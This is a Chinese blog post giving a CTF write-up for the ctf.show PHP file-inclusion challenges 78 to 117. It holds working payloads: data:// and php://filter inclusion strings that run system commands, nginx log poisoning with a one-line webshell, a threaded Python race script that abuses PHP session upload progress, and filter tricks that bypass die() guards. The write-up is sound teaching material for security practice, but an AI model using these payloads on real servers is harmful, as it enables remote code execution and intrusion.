Loading

ctf_show-文件包含-78-117

78 

 

伪协议读取

 

 

79

 

 

 过滤了php,不能直接伪协议base64读了,可以用data://text/plain;执行命令

file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=

 

 

80

 

 

 

又过滤了data,可以用日志包含

?file=/var/log/nginx/access.log

burp抓包传入一句话木马

 

 

a=system(ls);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

81

 

 

 又过滤了: 还是针对伪协议

但是日志包含还能用

 

 

82

 

 

 过滤了小数点,无法访问日志; 可以用session包含

可以看这篇文章

 具体可以脚本跑,也可以burp手动竞争

 

 

 脚本如下:

import io
import sys
import requests
import threading

sessid = 'rainy'


def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://18cb58ac-e4a1-48b1-8b06-cd85eb6fbf09.challenge.ctf.show:8080/',
            data={"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('cat *');?>"},
            files={"file": ('q.txt', f)},
            cookies={'PHPSESSID': sessid}
        )


def READ(session):
    while True:
        response = session.get(f'http://18cb58ac-e4a1-48b1-8b06-cd85eb6fbf09.challenge.ctf.show:8080/?file=/tmp/sess_{sessid}')
        #if 'index' not in response.text:
        if (len(response.text)==0):
            print('[+++]retry')
            #print(len(response.text))
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    evnet = threading.Event()
    with requests.session() as session:
        for i in range(20):
            threading.Thread(target=POST, args=(session,)).start()
        for i in range(20):
            threading.Thread(target=READ, args=(session,)).start()
    evnet.set()

 

 

83

session_unregister是注销一个session变量;
session_destroy是注销所有的session变量,并且结束session会话;
session_unset()并不注销session变量,但把所有的session变量的值清空.

 脚本爆破

 

 

84

 

 在包含前删除tmp下的内容,但是由于多线程,仍然有概率成功,脚本见上

 

 

85

 

 加了个检测,但是貌似意义不明,继续脚本

 

 

86

限制了文件包含的路径,但是对脚本没影响。

可能的原因

平时include()/require()文件的时候,PHP先会在当前目录下找找有没有这个路径,如果没有,然后就会在include paths里面找
所谓的include paths不是一个目录,而是很多个目录,这些目录可以通过get_include_path();得到。

 

 

 

87:

 这里有两篇很好的参考文章

文章1     文章2 

 这一题不是就直接include,是给定的函数读取文件内容

传入两个参数file是文件名,content和一句退出的代码合在一起作为写入的内容

 先看前面对file进行一次url解码,这就是绕过前面几个替换的关键。注意游览器本身会进行一次url解码,所以要传入2次url编码的数据,另外注意不少在线url编码只会对特殊符号编码,不会对php这类的字母进行编码

但是传入的文件开头是die代码,要想办法饶过他。

这里有不少办法,比较常用的是有伪协议先对传入的内容进行一次base64解码,就是file=php://filter/write=convert.base64-decode/resource=1.php

content内容就会先进行一个base64解码在传入,这里是base64只会解码b ,ase64编码后可能出现的字母(数字,字母和+ / =),所以加入的<? ;?>会被无视掉,base64是将3个字符24位转化位4个字符,反过来就是将4个字符传化位3个字符,这里除了特殊符号就是phpdie6个字符,因此要加上两个字符构成4的倍数来“吃掉”前面字符,后面加上想执行指令的base64密文即可

file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
content=aaPD89IHN5c3RlbSgnbHMnKTs/Pg==

 

 

 

 

 

 

 

 

 

88

 

 

 过滤了一大堆符号,但是能有data协议可用(由于:没用过滤),base64传入,注意尾巴不能有等于号,(base64末尾去掉等于号也能正常解密的)

可能有+和/可以加空格来去掉

file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpICA7Pz4

 

 

 

 

 

116

进去是个视频播放器

 

 

 右键另存为,然后能提取出来一个png图片

 

 

 直接file=flag.php即可

 

 

 

 

117

 

 

 和87很像,但是不能用base64了,rot13啥的都被过滤了。

这里看wp,参见这篇文章的convert.iconv.

file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
 post:contents=?<hp pvela$(P_SO[T]1;)>?

file用convert.iconv,主要作用就是两位交换,我们代码交换回复原样,而die代码就乱序无法生效了

 

posted @ 2021-10-11 02:02  Aninock  阅读(300)  评论(0)    收藏  举报